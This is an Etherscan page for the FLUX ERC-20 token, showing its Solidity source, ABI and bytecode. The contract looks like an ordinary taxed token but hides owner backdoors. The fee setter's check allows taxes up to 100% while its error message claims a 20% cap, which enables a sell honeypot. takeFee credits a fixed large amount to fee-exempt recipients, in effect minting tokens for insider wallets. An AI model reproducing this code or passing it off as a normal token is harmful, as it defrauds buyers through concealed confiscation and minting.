ETH Price: $3,916.28 (+6.72%)

Token

ERC-20: Flux Protocol (FLUX)
 

Overview

Max Total Supply

1,000,000,000 FLUX

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,513,202.962857831 FLUX

Value
$0.00
0x56063004322061Fc4b8e25cCF8a9B6068e34255c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLUX

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-29
*/

// SPDX-License-Identifier: MIT

/*
Decentralized lending meets tokenized securities.

Website: https://fluxprotocol.co
Telegram: https://t.me/fluxprotocol_eth
Twitter: https://twitter.com/fluxProtocol_
*/

pragma solidity 0.8.21;

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract FLUX is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Flux Protocol";
    string private constant _symbol = unicode"FLUX";

    uint8 private constant _decimals = 9;
    uint256 private _supply = 1000000000 * (10 ** _decimals);
    IRouter router;
    address public pair;
    bool private tradeEnabled = false;
    bool private swapEnabled = true;
    uint256 private taxCounts;
    bool private swapping;
    uint256 taxSwapAt;
    uint256 private taxSwapThreshold = ( _supply * 1000 ) / 100000;
    uint256 private minTokensToSwap = ( _supply * 10 ) / 100000;
    modifier lockSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal devAddr = 0x8C083e7fDa8829C0aD9ED7E3E0ce9710abB6afF9; 
    address internal teamAddr = 0x8C083e7fDa8829C0aD9ED7E3E0ce9710abB6afF9;
    address internal feeAddr = 0x8C083e7fDa8829C0aD9ED7E3E0ce9710abB6afF9;
    uint256 public maxTrxAmt = ( _supply * 150 ) / 10000;
    uint256 public maxSellAmt = ( _supply * 150 ) / 10000;
    uint256 public mWalletAmt = ( _supply * 150 ) / 10000;
    
    uint256 private totalFee = 1400;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 1400;
    uint256 private denominator = 10000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;


    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        // isFeeExempt[address(this)] = true;
        isFeeExempt[feeAddr] = true;
        isFeeExempt[teamAddr] = true;
        isFeeExempt[devAddr] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, _supply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _supply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function startTrading() external onlyOwner {tradeEnabled = true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function getOwner() external view override returns (address) { return owner; }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _supply.mul(_buy).div(10000); uint256 newTransfer = _supply.mul(_sell).div(10000); uint256 newWallet = _supply.mul(_wallet).div(10000);
        maxTrxAmt = newTx; maxSellAmt = newTransfer; mWalletAmt = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function swapBackFeeTokens(uint256 tokens) private lockSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(teamAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddr).transfer(contractBalance);}
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokensToSwap;
        bool aboveThreshold = balanceOf(address(this)) >= taxSwapThreshold;
        return !swapping && swapEnabled && tradeEnabled && aboveMin && !isFeeExempt[sender] && recipient == pair && taxCounts >= taxSwapAt && aboveThreshold;
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

    function getTotalTax(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradeEnabled, "tradeEnabled");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= mWalletAmt, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= maxSellAmt || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= maxTrxAmt || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){taxCounts += uint256(1);}
        if(shouldSwapBack(sender, recipient, amount)){swapBackFeeTokens(taxSwapThreshold); taxCounts = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isFeeExempt[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            feeAddr,
            block.timestamp);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isFeeExempt[recipient]) {return maxTrxAmt;}
        if(getTotalTax(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalTax(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalTax(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mWalletAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrxAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004b1565b6200002290633b9aca00620004c8565b60018190556003805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004c8565b6200005a9190620004e2565b600755620186a0600154600a620000729190620004c8565b6200007e9190620004e2565b6008555f6009819055600a8190556064600b55600c55600d8054738c083e7fda8829c0ad9ed7e3e0ce9710abb6aff96001600160a01b03199182168117909255600e8054821683179055600f8054909116909117905560015461271090620000e8906096620004c8565b620000f49190620004e2565b60105561271060015460966200010b9190620004c8565b620001179190620004e2565b60115561271060015460966200012e9190620004c8565b6200013a9190620004e2565b6012556105786013556109c460145561057860155561271060165534801562000161575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000502565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000238573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025e919062000502565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cf919062000502565b600280546001600160a01b038581166001600160a01b031992831617909255600380548484169216919091179055600f5481165f908152601960209081526040808320805460ff199081166001908117909255600e54861685528285208054821683179055600d5490951684528184208054861682179055338085528285208054909616821790955554601783528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200052a565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f657815f1904821115620003da57620003da620003a2565b80851615620003e857918102915b93841c9390800290620003bb565b509250929050565b5f826200040e57506001620004ab565b816200041c57505f620004ab565b8160018114620004355760028114620004405762000460565b6001915050620004ab565b60ff841115620004545762000454620003a2565b50506001821b620004ab565b5060208310610133831016604e8410600b841016171562000485575081810a620004ab565b620004918383620003b6565b805f1904821115620004a757620004a7620003a2565b0290505b92915050565b5f620004c160ff841683620003fe565b9392505050565b8082028115828204841417620004ab57620004ab620003a2565b5f82620004fd57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000513575f80fd5b81516001600160a01b0381168114620004c1575f80fd5b61182e80620005385f395ff3fe608060405260043610610129575f3560e01c806370a08231116100a8578063a8aa1b311161006d578063a8aa1b3114610364578063a9059cbb14610383578063cb7f97d7146103a2578063ced24c0e146103c1578063dd62ed3e146103d6578063f2fde38b1461041a575f80fd5b806370a08231146102a1578063715018a6146102d5578063893d20e8146102e957806395d89b41146103195780639cc3535114610345575f80fd5b80632f54bf6e116100ee5780632f54bf6e14610201578063309365971461022e578063313ce5671461024357806333cdacd91461025e5780633f4218e014610273575f80fd5b806306fdde0314610134578063095ea7b31461017b57806318160ddd146101aa57806323b872dd146101cc578063293230b8146101eb575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600d81526c119b1d5e08141c9bdd1bd8dbdb609a1b60208201525b60405161017291906114eb565b60405180910390f35b348015610186575f80fd5b5061019a61019536600461154d565b610439565b6040519015158152602001610172565b3480156101b5575f80fd5b506101be61044f565b604051908152602001610172565b3480156101d7575f80fd5b5061019a6101e6366004611577565b6104bf565b3480156101f6575f80fd5b506101ff610527565b005b34801561020c575f80fd5b5061019a61021b3660046115b5565b5f546001600160a01b0391821691161490565b348015610239575f80fd5b506101be60125481565b34801561024e575f80fd5b5060405160098152602001610172565b348015610269575f80fd5b506101be60115481565b34801561027e575f80fd5b5061019a61028d3660046115b5565b60196020525f908152604090205460ff1681565b3480156102ac575f80fd5b506101be6102bb3660046115b5565b6001600160a01b03165f9081526017602052604090205490565b3480156102e0575f80fd5b506101ff61056e565b3480156102f4575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610172565b348015610324575f80fd5b5060408051808201909152600481526308c98aab60e31b6020820152610165565b348015610350575f80fd5b506101ff61035f3660046115d0565b6105db565b34801561036f575f80fd5b50600354610301906001600160a01b031681565b34801561038e575f80fd5b5061019a61039d36600461154d565b610717565b3480156103ad575f80fd5b506101ff6103bc3660046115f9565b610723565b3480156103cc575f80fd5b506101be60105481565b3480156103e1575f80fd5b506101be6103f0366004611640565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610425575f80fd5b506101ff6104343660046115b5565b610819565b5f610445338484610895565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104ba9290916104b491906109b8565b906109b8565b905090565b5f6104cb8484846109c3565b61051c8433610517856040518060600160405280602881526020016117d1602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610f02565b610895565b5060015b9392505050565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161055090611677565b60405180910390fd5b6003805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105975760405162461bcd60e51b815260040161055090611677565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106045760405162461bcd60e51b815260040161055090611677565b5f61062661271061062086600154610f2d90919063ffffffff16565b90610f38565b90505f61064461271061062086600154610f2d90919063ffffffff16565b90505f61066261271061062086600154610f2d90919063ffffffff16565b60108490556011839055601281905590505f61068d6103e8610620600561068761044f565b90610f2d565b905080841015801561069f5750808310155b80156106ab5750808210155b61070e5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610550565b50505050505050565b5f6104453384846109c3565b5f546001600160a01b0316331461074c5760405162461bcd60e51b815260040161055090611677565b6009879055600a869055600c859055600b84905560138390556014829055601581905560165461077d906001610f38565b6013541115801561079d5750601654610797906001610f38565b60145411155b80156107b857506016546107b2906001610f38565b60155411155b61070e5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610550565b5f546001600160a01b031633146108425760405162461bcd60e51b815260040161055090611677565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610550565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610550565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61052082846116ab565b6001600160a01b038316610a275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610550565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610550565b6001600160a01b0383165f90815260176020526040902054811115610b0a5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610550565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b4a57506001600160a01b0382165f9081526019602052604090205460ff16155b15610b9757600354600160a01b900460ff16610b975760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610550565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bd757506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bf157506003546001600160a01b03838116911614155b8015610c0857506001600160a01b03821661dead14155b15610c80576012546001600160a01b0383165f90815260176020526040902054610c329083610f43565b1115610c805760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610550565b6003546001600160a01b03848116911614610d1f5760115481111580610cbd57506001600160a01b0383165f9081526019602052604090205460ff165b80610cdf57506001600160a01b0382165f9081526019602052604090205460ff165b610d1f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b60105481111580610d4757506001600160a01b0383165f9081526019602052604090205460ff165b80610d6957506001600160a01b0382165f9081526019602052604090205460ff165b610da95760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b6003546001600160a01b038381169116148015610dde57506001600160a01b0383165f9081526019602052604090205460ff16155b15610dfb57600160045f828254610df591906116be565b90915550505b610e06838383610f4e565b15610e1b57610e16600754611006565b5f6004555b6001600160a01b0383165f90815260176020526040902054610e3d90826109b8565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e715781610e7c565b610e7c848484611176565b6001600160a01b0384165f90815260176020526040902054909150610ea19082610f43565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef49085815260200190565b60405180910390a350505050565b5f8184841115610f255760405162461bcd60e51b815260040161055091906114eb565b505050900390565b5f61052082846116d1565b5f61052082846116e8565b5f61052082846116be565b600854600754305f9081526017602052604081205460055491938510159211159060ff16158015610f885750600354600160a81b900460ff165b8015610f9d5750600354600160a01b900460ff165b8015610fa65750815b8015610fca57506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fe357506003546001600160a01b038681169116145b8015610ff3575060065460045410155b8015610ffc5750805b9695505050505050565b6005805460ff19166001908117909155600b54600a546009545f9361103f93600293610687939192611039928391610f43565b90610f43565b90505f61105b8261062060095486610f2d90919063ffffffff16565b90505f61106884836109b8565b905047611074826112a0565b5f61107f47836109b8565b90505f6110a161109a600954886109b890919063ffffffff16565b8390610f38565b90505f6110b960095483610f2d90919063ffffffff16565b905080156110cb576110cb86826113f0565b600a545f906110df90610687856002610f2d565b9050801561112057600e546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561111e573d5f803e3d5ffd5b505b47801561116057600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561115e573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff161561119f5750601054610520565b5f6111aa85856114a1565b1115611299575f6111cc6111be86866114a1565b601654610687908690610f38565b305f908152601760205260409020549091506111e89082610f43565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112389085815260200190565b60405180910390a35f600c5411801561125b5750600c5461125986866114a1565b115b15611287576112873061dead611282600c5461068760165489610f3890919063ffffffff16565b6109c3565b61129183826109b8565b915050610520565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d3576112d3611707565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134e919061171b565b8160018151811061136157611361611707565b6001600160a01b0392831660209182029290920101526002546113879130911684610895565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bf9085905f90869030904290600401611736565b5f604051808303815f87803b1580156113d6575f80fd5b505af11580156113e8573d5f803e3d5ffd5b505050505050565b6002546114089030906001600160a01b031684610895565b600254600f5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611475573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149a91906117a5565b5050505050565b6003545f906001600160a01b03908116908316036114c25750601454610449565b6003546001600160a01b03908116908416036114e15750601354610449565b5060155492915050565b5f6020808352835180828501525f5b81811015611516578581018301518582016040015282016114fa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461154a575f80fd5b50565b5f806040838503121561155e575f80fd5b823561156981611536565b946020939093013593505050565b5f805f60608486031215611589575f80fd5b833561159481611536565b925060208401356115a481611536565b929592945050506040919091013590565b5f602082840312156115c5575f80fd5b813561052081611536565b5f805f606084860312156115e2575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561160f575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611651575f80fd5b823561165c81611536565b9150602083013561166c81611536565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044957610449611697565b8082018082111561044957610449611697565b808202811582820484141761044957610449611697565b5f8261170257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561172b575f80fd5b815161052081611536565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117845784516001600160a01b03168352938301939183019160010161175f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117b7575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab558df360fffcbfba2fcdaee58d24558fd73930d0effef8e07245d005f256e064736f6c63430008150033

Deployed Bytecode

